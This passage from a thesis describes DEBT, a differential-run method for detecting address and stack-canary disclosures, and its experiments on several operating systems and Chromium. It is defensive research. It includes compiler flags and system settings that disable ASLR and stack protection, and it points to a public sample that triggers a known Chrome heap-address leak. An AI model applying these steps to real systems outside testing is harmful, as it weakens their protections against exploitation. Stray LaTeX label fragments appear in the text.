three runs is 1 in 4,294,967,296 which should be considered as reliable; although Microsoft started with
a much worse implementation than this with only 256 different possibilities, larger address space ranges
are continually being implemented, especially with the advent of 64 bit computing, and the probability of
successive repeated numbers becomes increasingly small, even with only two captures. The same logic
applies to calculating the reliability of DEBT in identifying other disclosures, such as stack canaries.
5.6 Novelty of Methodology
The novelty of this methodology exists in both the problem it is solving and the approach it uses for solving
that problem. This is the only paper in the academic literature to perform run-time monitoring for address
disclosures. It does this in a manner which is also very different to many of the existing methodologies for
testing other memory issues. It is also very different to any other work in this field but, there are however,
similarities to other fields.
The approach taken in the earlier chapters of this thesis has been around the importance of address
disclosures and of memory issues, the literature review and information regarding similar testing issues
was based around this. Now the proposed solution has been examined, it can be seen that there are papers
that are similar in this approach but to a different problem domain. Jung et al. (2008) and Croft and Caesar
(2011) both examine the problem of exfiltration of user application data over a network. The approach taken
in Jung et al. (2008) is to run an application with different inputs and to record the network traffic coming
out; by comparing the difference between these runs, it is hoped that a correlation can be identified between
certain input fields and the network output and so can identify exfiltration of user data. This paper is the
most similar to the DEBT methodology, as the authors also have the problem of ensuring a deterministic
run of the application at each turn. They do this with a combination of ensuring the application state is
similar for each run by using a virtual machine for the application and restoring its state at each execution,
and partially with lots of logic re-ordering and filtering the network output. A similar paper is Croft and
Caesar (2011) where a shadow copy of a network is created with sensitive data being scrubbed and then
compared against the original network to identify any difference. The DEBT methodology was developed
independently of the techniques covered here, not as an application of that technique to a different domain,
but the approaches are similar and have similar issues in that they both suffer from issues of entropy but
at different scales, the primary non-determinism issues here concern unexpected network traffic rather than
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random numbers, but it is very possible that advances in each technique could aid the other.
Similarly there is the field of differential testing (Evans and Savoia, 2007), this is a sub-field of
regression testing where two different versions of a program are tested to ensure that code changes have not
adversely affected its functionality, but this does not suffer from the same issues as the other techniques as
unit testing and regression testing are typically very deterministic in design.
5.7 Strengths and Weaknesses of Methodology
The lack of alternative methodologies to use as a comparison makes assessing the strengths and weaknesses
of DEBT difficult; an attempt will be made here although it may at times be quite subjective. As the
paper Peiró et al. (2014) is the closest to this problem, comparisons to the different approaches will be
drawn where possible.
There is a requirement in this methodology to define a trust boundary, but it is hard to see how this
is anything other than inevitable. Although the methodology proposed here requires this to be explicitly
defined for each application or set of applications, even in Peiró et al. (2014) where the trust boundary
between the kernel and userspace is implicit, there is a requirement to explicitly define the functions that
make up this border (described as sinks). The necessity of instrumenting the interface to capture data
passed over it, is a weakness of this methodology and it is possible that this could make it impossible to
use in certain circumstances. Similarly the requirement to eliminate all of the other sources of entropy in a
program should be considered a weakness; how much so is likely to be very application specific.
One area that can be considered a strength of this methodology is that it should catch all types of address
disclosures, regardless of their origin; that this covers kernel disclosures, disclosures explicitly coded and
disclosures due to memory issues is a strong area. Although it is possible that a framework could be put
together to define all possible sources of disclosures and a framework such as Valgrind (Nethercote and
Seward, 2007) could be used to detect these, this work has yet to be done. The approach taken in Peiró et al.
(2014) will detect any type of information leak, not just address disclosures, but only in certain very limited
circumstances†, whereas the approach taken here will only identify specific disclosure types but will do so
in a much greater range of circumstances.
†Only disclosures from the stack are identified and only when the disclosure is in the same function as the memory was originally
allocated.
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An exception to the above is Bittau et al. (2014) which introduces a technique to infer an address
disclosure by progressively overwriting stack contents. This requires a stack overflow vulnerability in a
service which will continuously keep restarting. It also requires that the address space is not re-randomised
upon the restart. The DEBT methodology will not be capable of identifying this as a disclosure, as the value
is never actually returned to the user, but is inferred from the operation of the program. Whether this is still
classed as a disclosure is an issue left for other authors, but is likely to be a difficult for any methodology or
framework. Similarly side-channel attacks are methods of identify memory contents, and can be considered
as disclosures, but would not be detected by this methodology.
The speed of the methodology is an area that should also be mentioned here. Time may be required to
eliminate sources of entropy in a program and this should be factored in to the efficiency calculations. Even
with this, the DEBT methodology could be very efficient in comparison to other memory management
checking scenarios. The impact using the Valgrind framework has on the application speed is 60 times
(Nethercote and Seward, 2007), where this methodology only has the overhead of capturing the data over
the interface for two runs and comparing the outputs; the application specific nature of this makes the
overhead hard to quantify. The requirement to trigger the disclosure makes the speed of static analysis by
far superior in this area.
A strength of the methodology is that it is likely to extend to other protection methods. As well as current
technologies such as kernel ASLR and stack cookies (both of which should also be detected), many of the
proposed future developments such as encryption, data space protections, instruction set randomisation and
finer-grained ASLR (which are all covered in chapter 3), are based upon introducing additional entropy and
so the DEBT methodology is also likely to be effective in these scenarios. Similarly it may be effective
against slightly less tangible types of disclosures. The timing of threads in an application could be an
example of this; this is a source of entropy that could alter the order of data across a trust boundary,
depending upon the application this may also be considered of a form of disclosure, particularly if side-
channel attacks could be a possibility.
The simplicity of this system could also be considered as a strength, depending on how complex the
requirements to capture the data and ensure deterministic execution are. The methodology is essentially
quite simple in its design and requires no specific programming knowledge; the requirement to monitor
the trust boundary requires a method of identifying that boundary, for the DEBT methodology this can be
done without any specialised programming knowledge, which may not be the case for implementations
using frameworks such as Valgrind. Similarly, the ability to be able to apply this methodology in
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many environments may make it applicable in areas such as mobile development, or some embedded
environments where larger frameworks may not be so suitable.
One final strength of the methodology to be considered, is that there should be practically no false
negatives. Given a reasonable amount of entropy over the captures, if the data passed over the captures was
identical, then a reasonable level of confidence can be given that no disclosure occurred, it is unlikely that
any would be missed. The requirement for the disclosure to be triggered, mitigates this strength somewhat,
when compared to the Peiró et al. (2014) approach, which will identify every disclosure (within its limited
scope) without the need for it to be triggered.
All methodologies and techniques have both strengths and weaknesses and DEBT is no different in this.
Given that this is currently the only methodology to detect disclosures that are buried more than one function
deep in a program, there is little to compare it with; it is possible that these strengths and weaknesses would
need to be revised in time, but that the methodology currently exists, and can solve a problem no other does,
must be its strongest point.
sum:Framework
5.8 Conclusions
This chapter not only introduces the DEBT methodology behind this thesis but discusses its strengths and
weaknesses, both in the development process and the methodology itself. That no formal methodology was
followed during the development of this framework does not appear to be a weakness in the methodology
itself, particularly as the informal process followed was close to at least one formal methodology. This is
not a coincidence as it is difficult to see how the experimentation and development of research can be done
in anything other than using an iterative aproach, but having formalised hypothesis during the development
process may provide clearer thinking into the exact nature of the develpoment being done and this is an area
that can be explored in future development.
After the framework is explained the novelty of the methodology is discussed. It is clear that there are
other areas of research that have used techniques that are very similar to the one used here, but in different
contexts. If this was identified earlier during the development process then these may have had more of an
impact on the final solution. That these connections were not made earlier can be considered as a weakness
of the development process but that they were identified, and other researchers have had successfull usage
from them, can be seen as a pointer that the methodology is more likely to be successful.
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Near the end of this chapter the strengths and weaknesses of the methodology are discussed. The
requirement to define trust boundaries is likely to be common to any solution to this problem, be they
implicit or explicit, and so this may not be a weakness of the methodology itself. Speed issues are discussed,
as a possible strength of the methodology, but as this is not quantified and as there are no other solutions to
compare to, this is just speculation. Similarly the likely lack of false negatives may turn out to be a product
of the method of implementation and so is hard to state categorically.
To effectively demonstrate the effectiveness of the framework, experimentation is needed and this is





This chapter details the experiments used to demonstrate this thesis. It starts with the overall requirements
and objectives that the experiments aim to test. All of the experiments go through a four stage process, with
each stage being defined for each one. As many experiments are similar, they are introduced in sets where
sensible, with a small section for each individual experiment. Finally there is a summary of this chapter.
6.1.1 Experimental design
Strong experimental design is a cornerstone of science and cannot be taken lightly. Several resources and
papers were used in researching this topic. Those of particular help included Pfleeger (1995); Basili (1993);
Zelkowitz and Wallace (1998), but the experiments in this chapter follow the methodology and terminology
from Juristo and Moreno (2010). This was chosen as it is influential (523 cites on Google scholar at time of
writing, November 2014), up-to-date (2010) and complete enough so there was no need to pick and choose
sections from different papers. Following a single authors advice should ensure a consistency through the
experiments and alleviate many of the potential issues that can occur when designing experiments.
The phases of experimentation defined in Juristo and Moreno (2010) are:
Phase A: Definition of the objectives of the experimentation
Phase B: Design of the experiments
Phase C: Execution of the experiments
Phase D: Analysis of the results/data collected from the experiments.
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This chapter will follow these phases as both a framework for the experiments and as method of
presentation. The objectives of the experiment will be defined to follow the doctrine of falsifiability, as
proposed by Popper (2014). Each experiment will have a Alt:ExpInt1null hypothesis and an alternative
hypothesis. If the experiments reject the null hypothesis,then this will demonstrate the alternative
hypothesis.
6.1.2 Principles to be tested
Of the contributions listed in this thesis, there are two which need to be tested experimentally:- that DEBT
can be used to reliably detect address disclosures and that it can be used to detect other disclosure types.
The following principles have been defined to demonstrate these contributions.
Principle 1: The methodology is possible and can work for address disclosures.
Principle 2: The methodology is a cross platform solution.
Principle 3: The methodology can be practical for complex, real-world software.
Principle 4: The methodology can identify stack canaries.
Principle 5: The methodology can identify more general disclosures.
Principle 1, that the methodology can work, is initially established in experiment 1 and then
demonstrated in all of the other experiments. Principle 2, that the methodology works across multiple
platforms is initially demonstrated in experiments 1, 2, 3 and 4 before being re-enforced in 5, 6 and
7. Principle 3 is that the methodology is practical for real-world problems, with all of the complexities
involved with those products and is demonstrated in experiments 8, 9, 10. Principle 4 demonstrates that the
methodology can identify stack canaries and is tested in experiments 5, 6 and 7. The final principle, that the
methodology can also detect other disclosures types, is tested in experiment 10.
6.1.3 Summary of experiments
In Experiment 1 a simple, artificially created program is tested with 1000 inputs. These were designed so
that half caused a disclosure and half output a preset value. This was to identify if the DEBT methodology
can work in even the most basic circumstances. This was repeated with ASLR turned off as a control
measure.
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Experiment Operating System Compiler Software Experiment Type
1 Linux 3.8.0.19 Custom Program 1 Simple Disclosure
2 OSX 10.9.2 Custom Program 1 Cross Platform test
3 OpenBSD 4.6 Custom Program 1 Cross Platform test
4 Windows 7 Custom Program 1 Cross Platform test
5 OSX 10.9.2 Clang (503.0.40) Custom Program 2 Stack canaries
6 Linux 3.8.0.19 GCC (4.7) Custom Program 2 Stack canaries
7 Windows 7 Visual
Studio(2008)
C++ compiler
Custom Program 2 Stack canaries
8 Linux 3.8.0.19 Chromium Real World known-
sample
9 Linux 3.8.0.19 Chromium Real World
unknown-samples
10 Linux 3.2.0.9 Apache Generic Disclosure
Test for HeartBleed
Table 6.1. Summary of experiment targets and types.
Experiments 2, 3 and 4 are part of a common set of experiments designed in the same manner. They
are similar to Experiment 1, but are executed on other operating systems. The intention is to show that
this methodology is not limited to Linux only, but is a cross-platform solution. These experiments use
Apple’s OSX, Windows 7 and OpenBSD and are otherwise identical to Experiment 1.
Experiments 5, 6 and 7 are a set of experiments designed in a similar manner. The intention behind
these experiments is to identify if DEBT can be used to identify another probabilistic mitigation technique,
stack canaries. Three sets of experiments are run using three different operating systems on their primary
compilers. The experiments are repeated with canaries disabled at the compilation stage, as a control
measure to ensure that it is canaries that are being identified.
Experiment 8 uses a complex, real world, software product and vulnerability, to see if the program can
identify a known input which triggers that vulnerability. The browser Chromium was used for this and the
experiment was repeated with ASLR turned off to ensure that the issue was a disclosure.
Experiment 9 is to test that the methodology can be used to identify previously unseen samples which
trigger a memory disclosure. More than 4000 websites hosting XML documents were identified and tested.
The program then predicted which had a disclosure. The results were then checked against the reality.
Experiment 10 was to demonstrate that the DEBT methodology can spot more general disclosures
under certain circumstances. It does this using CVE-2014-0160 (MITRE, 2014), commonly known as the
HeartBleed bug. A vulnerable server is created and a simulated fuzz test is used which uses different values
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for the size field. If the vulnerability returns changing information, then this would demonstrate that this
technique could identify this particular bug.
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6.2 Experiment 1
This thesis is simple, if you remove all of the difference between two runs except for the effects of ASLR,
then what is left must be the effect ASLR. This is simple logic. This can be shown experimentally if,
regardless of how simple the scenario, the methodology can be used to identify a memory disclosure. If
this is demonstrated then this will also demonstrate principle 1, that the methodology can work. This can
be proven in a single experiment and is the first experiment attempted.
A small custom program was written∗ that takes a number as an input. If that number is odd a memory
disclosure occurs, if it is even no disclosure occurs. The program was run for each entry in the dataset
under two different treatments, one with ASLR turned on and one with ASLR turned off. To disprove the
null hypothesis the runs with ASLR turned on should spot the disclosure and those with ASLR turned off,
should not.
This should demonstrate principle 1, that the methodology can work.
The requirements and objectives for this experiment are set-out and formalised in 6.7.1, the experiment
design is detailed in 6.2.2, the execution details are given in 6.2.3 and the results are shown in 6.2.4.
6.2.1 Experiment Objectives
This experiment is a simple one, to identify if the methodology works, in the cleanest of scenarios by
creating an address disclosure and testing to see if the methodology can identify it. This should demonstrate
principle 1.
The formalised hypotheses for this are given in table 6.2.
Hypothesis type Description
Null hypothesis This methodology can not identify if an address disclosure has
occurred in any scenario.
AltExp1Tab Alternative Hypothesis This methodology can identify if an address disclosure has
occurred in certain scenarios.
Table 6.2. Hypotheses for Experiment 1
∗The source code is given in Appendices A
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6.2.2 Experiment Design
This is a controlled experiment using two treatments. Treatment A takes a program that will cause a memory
disclosure given an input of type 1, but not if given an input of type 2. It is fed an equal number of type 1
inputs and type 2 inputs in a randomised manner. The predictions from the framework are then checked to
see if they correspond with type 1 or type 2 inputs. If the times when the framework claims a disclosure
occurred correspond to the type 1 inputs, then it is at least correctly identifying type 1 inputs.
Treatment B is identical to treatment A, except that ASLR is turned off. If the results for treatment A
are different to treatment B then this must be due to ASLR. This would show that it is correctly identifying
type 1 inputs, because of the effect of ASLR.
The null hypothesis will be considered disproved if the framework spots the correct input type 99% of
the time, with no false negatives and if treatment B does not spot any disclosures.
6.2.2.1 Program Under Test
A simple program was written that returns an integer if an even number is input and returns the address of
that integer (a memory disclosure) if the input is odd. The source code for this is included in Appendices A.
6.2.2.2 DataSet Selection
The dataset consists of 1000 inputs. These inputs are the numbers 1 to 1000. If the convention is used
that an odd number should indicate a disclosure should occur and an even number should indicate that no
disclosure should occur, then this gives an equal split amongst the dataset of 500 for each set. To ensure the
order of the results is not predictable the order of the numbers were mixed up.
To create the dataset a file containing the numbers 1 to 1000 was created and the Unix ‘shuf ’ utility
was used to ensure the order was not predictable.
This dataset shall be referred to in the rest of this thesis as DataSet 1.
6.2.2.3 Trust Boundary to be tested
The trust boundary in this scenario is STDOUT. This is the interface to the calling program and could be
captured by a calling user. It is the interface written to when using the printf function.
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6.2.2.4 Running and Controlling the experiment
A simple Bash script was created which ran the test with each element of the dataset, the first few lines of
which are shown in listing 6.1.







Each entry simply calls a subscript called simpleExperiment, this executes the test by calling the
program under test twice, with the same input parameter, and then outputting any difference between the
two runs. The source-code for this is listed in appendices B and a diagram showing the process is given in
figure 6.1.
SimpleExperiment 25
Call Program with 25





Script simpleExperiment called with parameter 25
SimpleExperiment 73
Call Program with 73





Script simpleExperiment called with parameter 73
Fig. 6.1. Diagram showing the interaction between the two scripts involved in executing Experiment 1.
Using this method the application was not altered in any way, and the only method of communicating
between the framework and the calling program was the standard Unix file redirection system.
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6.2.3 Execution of Experiments
This was performed on Linux, with kernel build “3.8.0-19-generic”, as distributed by Linux Mint 13.
In Linux, the file “/proc/sys/kernel/randomize va space” controls the ASLR setting, on a system wide
basis, and should contain a single integer value between 0 and 2. Setting this to the value of ’0’ ensured
that ASLR was disabled for that treatment while setting this to ’2’ ensured it was completely enabled. This
was the only change made to differentiate between the two treatments.
The experiments were executed, using a single run and no issues were identified during this stage.
6.2.4 Results
The whole program was run and the output captured. ASLR was turned off and the same file was run. The
results are listed in table 6.3.
Test ASLR No. Inputs No. Expected No. Identified Incorrect Entries
1 On 1000 500 500 0
2 Off 1000 0 0 0
Table 6.3. Presentation of results for Experiment 1
The trigger was identified perfectly when ASLR was turned on, but not when ASLR was turned off.The
results were checked to ensure that the disclosures did correspond to the odd inputs. This demonstrates
clearly that the framework is identifying the affects of ASLR and so is identifying memory disclosures.
This was also done with no false positives, so fulfills the success criteria and disproves the null hypothesis.
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6.3 Experiments 2, 3 and 4
It has been demonstrated that the DEBT methodology works, given a simple scenario. Depth can now
be added to this thesis by showing that this concept is not limited to Linux, but works on other major
operating systems. This set of experiments is designed to do just that, by replicating Experiment 1 as
closely as possible, but on other operating systems. The Operating systems chosen were OSX, OpenBSD
and Windows 7 and the same program and datasets were used as for Experiment 1; this was dataset 1 and
the program listed in Appendices A. The program was run for each entry in the dataset under two different
treatments, one with ASLR turned on and one with ASLR turned off. To disprove the null hypothesis,
AltExpSimp1 and so demonstrate the alternative hypothesis, the runs with ASLR turned on should identify
the disclosure and those with ASLR turned off, should not.
This would then establish principle 2, that this is a cross platform methodology.
The requirements and objectives for this experiment are set-out and formalised in 6.3.1, the experiment
design is detailed in 6.3.2, the execution details are given in 6.3.3, 6.3.4 and 6.3.5; finally the results are
shown in 6.3.6.
6.3.1 Experiment objectives
This experiment is a simple one, to identify if the methodology can work, in the cleanest of scenarios, on the
major operating systems and compilers. This should demonstrate principle 2, that this is a cross platform
methodology.
The formalised hypotheses for this are given in table 6.4.
Hypothesis type Description
Null hypothesis 1 This methodology can not identify address disclosures
in any scenario, on OS X.
Null hypothesis 2 This methodology can not identify address disclosures
in any scenario, on Open BSD.
Null hypothesis 3 This methodology can not identify address disclosures
in any scenario, on Windows 7.
ALT:ExpSimpleTab Alternative Hypothesis 1 This methodology can identify address disclosures in
some scenarios, on OS X.
Alternative Hypothesis 2 This methodology can identify address disclosures in
some scenarios, on Open BSD.
Alternative Hypothesis 3 This methodology can identify address disclosures in
some scenarios, on Windows 7.
Table 6.4. Hypotheses for Experiments 2, 3 and 4
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These experiments are designed to reject the null hypotheses Alt:ExpSimple3and so demonstrate the
alternative hypothesis.
6.3.2 Experiment design
These experiments were designed to be identical to Experiment 1. The simple program in Appendices A
was tested with two different treatments, one with ASLR turned on and one with ASLR turned off. For
each treatment, the program was run 1000 times, with 1000 unique values (dataset 1) of which half were
designed to cause an address disclosure and half output a static value. Further details of the experiment
design are given in the description for Experiment 1 at 6.2.2.
6.3.3 Execution of Experiment 2
This experiment was executed on OSX version 10.9.2, Darwin Kernel Version 13.1.0 using the default
compiler, Clang at version clang-503.0.40.
The program was built for both treatments in the same way, using the default flags, except that for the
treatment with no ASLR, the flag “-fno-pie” was used. Although this does not disable ASLR generally, it
does stop the executable from using it for its main program space and so has the required effect.
No issues were identified during the execution of this experiment.
6.3.4 Execution of Experiment 3
Experiment 3 was conducted on OpenBSD version 4.6. This was run under Virtual Box.
Unfortunately, the author of this thesis could find no method of disabling ASLR on OpenBSD; this
made it impossible to complete this experiment. Given this it would have been valid to omit this experiment
from this document, but it is included as it would still have been possible for the experiment to fail; although
it is not the complete experiment that may have been hoped for, it still adds confidence to the thesis.
No other issues were identified during the execution of this experiment.
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6.3.5 Execution of Experiment 4
This experiment was executed on Windows 7 Enterprise, service pack 1. In order to run the same programs
scripts as the other experiments, and so add a consistency to the experiments, the Bash environment from
Cygwin was used (version 1.7.17). This in no way affects the actual process execution of the program,
as the program is still built as a standard windows executable and uses the standard loader and execution
environment. The program was built using Visual Studio’s C++ compiler (Visual Studio 2008). ASLR
was effectively turned on and off by linking the executable using the “/DYNAMICBASE:NO” flag, which
prevents this particular application from being built with ASLR.
No issues were identified during the execution of this experiment.
6.3.6 Results
Each experiment was executed with ASLR turned on, and where possible with ASLR turned off; the results
are shown in table 6.3.6.
Experiment ASLR No. Inputs No. Expected No. Identified Incorrect
Entries
2 On 1000 500 500 0
2 Off 1000 0 0 0
3 On 1000 500 500 0
4 On 1000 500 500 0
4 Off 1000 0 0 0
Table 6.5. Presentation of results for experiments 2, 3 and 4
The trigger was identified perfectly for every experiment and this was done with no false positives. That
no triggers were identified for those experiments where the control was possible, clearly shows that it must
be the affect of ASLR that is being identified. For the BSD experiment, where it was not possible to create
the second treatment, a strong degree of confidence can still be inferred from the experiment due to the
successful correlation between the expected results and the actual results, which also adds confidence to
this theses. This successfully disproves our null hypotheses in two cases and shows it is unlikely in the
other. This demonstrates principle 2, that this is a cross platform solution.
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6.4 Experiments 5, 6 and 7
The experiments so far have already demonstrated that the DEBT methodology can be used to detect address
disclosures. The other major form of randomisation which is designed to protect software is stack canaries.
This set of experiments is designed to test if this framework can detect a disclosure which releases stack
cookie information.
As this technique is implemented on a compiler by compiler basis, 3 different experiments are performed
to identify if the idea can work on three of the most popular compilers, Clang on OSX, GCC on Linux and
Visual Studio on Windows. The experiments are designed to match previous experiments and demonstrate
the simplest possible scenario; The same dataset was used as for Experiment 1, dataset 1, which is a
collection of each of the numbers between 1 and 1000. The program used is slightly different in each
case and so is given in the individual experiments stage. The relevant program was run for each entry in
the dataset under two different treatments, one with stack canaries turned on and one with stack canaries
turned off. To disprove the null hypothesis the runs with canaries turned on should identify the disclosure
and those with canaries turned off, should not.
This would demonstrate principle 4, that the methodology can identify stack cookie disclosures.
The remainder of this section describes the experiment in more detail. It will start with the requirements
and a formalisation of the experiment‘s objectives in 6.4.1, before giving details on how the experiment is
designed in 6.4.2. Any execution details are given in 6.4.3, 6.4.4 and 6.4.5 before the results are examined
in 6.4.6.
6.4.1 Experiment objectives
These experiments are simple ones, to identify if the methodology can identify the disclosure of stack
cookie information, in the cleanest of scenarios, on the major compilers and operating systems. This is
needed to demonstrate principle 4.
These objectives are formalised with the hypotheses shown in table 6.6. Alt:Exp:Cookies:2 These
experiments are designed to disprove the null hypotheses and so demonstrate the alternative hypothesis.
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Hypothesis type Description
Null hypothesis 1 This methodology can not be used to identify cookie disclosures in any scenario, on
OS X using Clang.
Null hypothesis 2 This methodology can not be used to identify cookie disclosures in any scenario, on
Linux using GCC.
Null hypothesis 3 This methodology can not be used to identify cookie disclosures in any scenario, on
Windows 7 using Microsoft C++ Compiler.
Alt:Exp:Cookies:Tab Alternative Hypothesis 1 This methodology can be used to identify cookie disclosures in certain scenarios, on
OS X using Clang.
Alternative Hypothesis 2 This methodology can be used to identify cookie disclosures in certain scenarios, on
Linux using GCC.
Alternative Hypothesis 3 This methodology can be used to identify cookie disclosures in certain scenarios, on
Windows 7 using Microsoft Visual C++ Compiler.
Table 6.6. Hypotheses for Experiments 5, 6 and 7
6.4.2 Experiment design
These experiment are designed as controlled experiments using two treatments. Treatment A takes a
program that will cause a memory disclosure given an input of type 1, but not if given an input of type
2. It is fed an equal number of type 1 inputs and type 2 inputs in a randomised manner. The predictions
from the framework are then compared with whether the inputs are type 1 or type 2. If the times when
the framework claims a disclosure occurred correspond to the type 1 inputs, then it is at least correctly
identifying type 1 inputs.
Treatment B is identical to treatment A, except that stack canaries are turned off. If the results for
treatment A are different to treatment B then this must be due to stack canaries.
The null hypothesis will be considered disproved if the framework identifies the correct input type 99%
of the time, with no false negatives and if treatment B does not identify any disclosures.
For both treatments ASLR is turned off in order to ensure that it is the effect of stack protection rather
than ASLR that is being detected.
6.4.2.1 Program Under Test
The program under test is slightly different in each case, but each is designed to print out the contents of
the stack if the input is an odd number, or a series of integers if the input is an even number. This is done
using the current stack pointer and the stack base pointer. The individual programs are discussed under each
experiment.
77
Although the programs are all designed to be as similar as possible, it is possible that the data
captured may be very different between the three experiments; different compilers can vary in the way they
implement stack protections, but also may vary in the way they implement and call the functions in general.
This is not important to these experiments as each program should be consistent within the experiments and
there are no cross experiment comparisons needed.
6.4.2.2 DataSet Selection
DataSet 1 was used for this experiment. This consists of 1000 inputs, split evenly between odd numbers
and even numbers, presented in a randomised order. The details of this dataset are given in 6.2.2.2.
6.4.2.3 Trust Boundary to be tested
The trust boundary in this scenario is STDOUT. This is the interface to the calling program and could be
captured by a calling user. It is the interface written to using the printf function.
6.4.2.4 Running and Controlling the experiment
The same infrastructure was used to control this experiment as for experiment 1, which is explained
in 6.2.2.4. This is based on a series of bash scripts which execute each program twice, stores the results in
a file and then checks to see if the resulting files are identical.
6.4.3 Execution of Experiment 5
This experiment was executed on OSX version 10.9.2, Darwin Kernel Version 13.1.0 and RE-
LEASE X86 64.
The Clang compiler is now the default compiler on OSX. It is the compiler that is actually invoked as
an alias to GCC and uses the same command line options as GCC. As such it has no option purely for stack
canaries, but only for stack protection, which implements stack canaries. It is not possible to demonstrate
completely that it is stack canaries that are being detected, rather than any other stack based probabilistic
mitigation measure. If, for any reason, the compiler is generating any other randomised entries on the top of
the stack then identifying these will also be a memory disclosure of a randomisation entry and so a positive
result.
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The option with stack protection enabled was built with the command “gcc main.c -fstack-protector-all
-fno-pie” and the version with stack protection turned off was built with ‘gcc main.c -fno-stack-protector -
fno-pie‘”. The -fstack-protector-all flag turns on stack protection in all circumstances, rather than just under
certain optimal times, the flag -fno-stack-protector disables stack protection and the flag -fno-pie is used to
ensure that ASLR does not affect the program execution. The final flag is required for this test as otherwise
it could be an address disclosure that is detected rather than a cookie disclosure.
The program used to create the disclosure is shown in Appendices C as Program C.1. This uses the
stack registers to determine the correct memory location for the current stack frame and outputs this to the
console.
No issues were identified during the execution of this experiment.
6.4.4 Execution of Experiment 6
Experiment 6 was performed on Linux, with kernel build “3.8.0-19-generic”, using the distribution Mint
version 13. The GCC compiler (version 4.7 was used) is the default compiler in Linux and is the compiler
used to build the Android mobile operating system; this makes it extremely influential.
The option with stack protection enabled was built with the command: “gcc main.c -fstack-protector-all
-fno-pie” and the version with stack protection turned off was built with: “gcc main.c -fno-stack-protector
-fno-pie”. These options have the same meaning as explained for Experiment 5. For all executions ASLR
was also turned off system wide by setting “/proc/sys/kernel/randomize va space” to 0. Although it is not
necessary to both disable ASLR system wide and to stop the program from being built to use ASLR, both
techniques were used, purely to keep consistency with the previous experiments.
GCC has the same issue as Clang in that it is not possible to turn canaries on and off directly, but only
all of the stack protection mechanisms, meaning it is possible that the framework could be detecting other
stack based probabilistic mitigation techniques introduced at the compiler level.
The program used to create the disclosure is shown in Appendices C as Program C.2. This also works
by outputting the contents of the stack between the two stack registers. It only differs from the program used
in the previous experiment as this was done on a 32 bit machine and the stack register names are slightly
different.
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No issues were identified during the execution of this experiment.
6.4.5 Execution of Experiment 7
This experiment was performed on Windows 7 Enterprise service pack 1. The compiler used was distributed
with Visual Studio 2008.
For compiling the program for both treatments, the flag “DYNAMICBASE:NO” was used to stop the
program from being built to use ASLR and the “/GS” flag was used to turn stack canaries on and off. This
was done using the Visual Studio environment rather than using the flags directly at the command line.
The program used to create the disclosure is shown in Appendices C as Program C.3. It is the same as
the previous two programs, except that the syntax for accessing machine register values is slightly different
using this compiler.
No issues were identified during the execution of this experiment.
6.4.6 Experiment results
Each experiment was run and the output captured. The executable was rebuilt each time with stack
protection turned off and the same file was run. The results are listed in table 6.7.
Test Stack Protection No. Inputs No. Expected No. Identified Incorrect Entries
5 On 1000 500 500 0
5 Off 1000 0 0 0
6 On 1000 500 500 0
6 Off 1000 0 0 0
7 On 1000 500 500 0
7 Off 1000 0 0 0
Table 6.7. Presentation of results for experiments 5, 6 and 7.
For every experiment the trigger was identified perfectly when stack protection was turned on, but not
when it was turned off. The results were checked to ensure that the disclosures did correspond to the
correct inputs. This demonstrates clearly that the framework is identifying the difference between the stack
protection options on the stack and so is identifying memory disclosures. This was also done with no false
positives, so fulfils the success criteria and disproving the null hypotheses.
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6.5 Experiment 8
All of the experiments so far have been performed on artificial samples. Although this is enough to
demonstrate that the DEBT methodology can work, it is not enough to demonstrate that this is practical
in a real-world scenario. This is principle 3 and the reason behind this experiment. In this experiment a
version of Chrome is tested which has a known memory disclosure in its XPath implementation. Different
samples are input, where one is known to trigger the disclosure. Each treatment was repeated 10 times as a
confidence measure. The results were then compared to identify if the framework was identifying the input
that was known to cause a disclosure.
The requirements and objectives for this experiment are set-out and formalised in 6.5.1, the experiment
design is detailed in 6.5.2, the execution details are given in 6.5.3 and the results are shown in 6.5.4.
6.5.1 Experiment objectives
All of the experiments so far have been done on artificial examples. The purpose of this experiment is to
demonstrate that this methodology can also be done on complex, real world examples. This is one of the
experiments which collectively demonstrate principle 3.
The formal hypotheses for this experiment are given in table 6.8.
Hypothesis type Description
Null hypothesis That this methodology can not identify memory disclosures in complex, real-world
software.
Alt:Exp:3:Tab Alternative hypothesis That this methodology can be used to identify memory disclosures in complex, real-
world software.
Table 6.8. Hypotheses for Experiment 8
This experiment is designed to test if the null hypothesis is true.
6.5.2 Experiment design
For this experiment a program is identified which can be considered as a ‘real-world’, complex program.
A known memory disclosure is identified in this program and an input is identified which triggers that
disclosure; this input is hidden in a set of similar inputs which are used to identify the error rate. The
entire dataset is tested after it has been randomised. The ideal for this experiment would have been to use a
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control measure, such as turning ASLR off, but unfortunately this was not possible as Chromium appears to
implement ASLR itself rather than using the systems implementation, this is a weakness in the experiment
design but is unavoidable; this means it is possible that the experiment is actually spotting the disclosure
web-site due to another issue on that site, but this is still highly unlikely as it is only 1 of 1000 randomly
chosen inputs.
The criteria to disprove the null hypothesis will be if the framework can identify the triggering sample and
if it manages this with a false positive rate of less than 0.1%. Although this rate is somewhat arbitrary, it
was chosen as it seems to be a reasonable figure to allow the application of DEBT to be practical. As there
is only one input to be detected, the whole experiment will be repeated 10 times as a confidence measure.
6.5.2.1 Program Under Test
The open source browser Chromium was chosen as the target for this experiment. Chromium is the
basic browser behind Google’s Chrome, with some parts removed, such as PDF viewer, due to licensing
restrictions. This means nearly everything in Chromium is also in Google Chrome, including any
disclosures looked for. The W3C lists browser usage statistics gathered by recording the browser used
to access its site. From March 2012 to August 2013 (the time of writing this), Google Chrome was the
single most popular browser recorded, with, in July 2013, 52.8% of all hits. As Chrome also boasts much
complexity with separation of processes and other anti-exploit technologies, it is a complex and well studied
example of software at the forefront of its field.
The CVE list (MITRE, 2008) contains lists of vulnerabilities found in software with some details around
them. Under CVE-2011-1202 it states “ The xsltGenerateIdFunction function in functions.c in libxslt 1.1.26
and earlier, as used in Google Chrome before 10.0.648.127 and other products, allows remote attackers to
obtain potentially sensitive information about Heap memory addresses via an XML document containing
a call to the XSLT “generate-id” XPath function”. This is a memory disclosure and is an example well
documented on the internet as CVE-2012-0769 (MITRE, 2012b).
6.5.2.2 DataSet Selection
One example of a web-page using the “generate-id” function, and so creating a memory disclosure, was
identified using Google; this was the site “https://cevans-app.appspot.com/static/genid.xml”. To make the
rest of the sample data as close as possible, the Google search API was used to identify other web-based
XML documents. As this only allowed for up to 7 pages of 8 results per page, per site, a script was created
which searched for multiple different search terms within the documents of type XML. This was used to
identify 999 unique websites which were checked that they did not use the “generate-id” function. This
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gave 1000 websites in total of which it was known that only one calls the “generate-id” function which
causes the known memory disclosure.
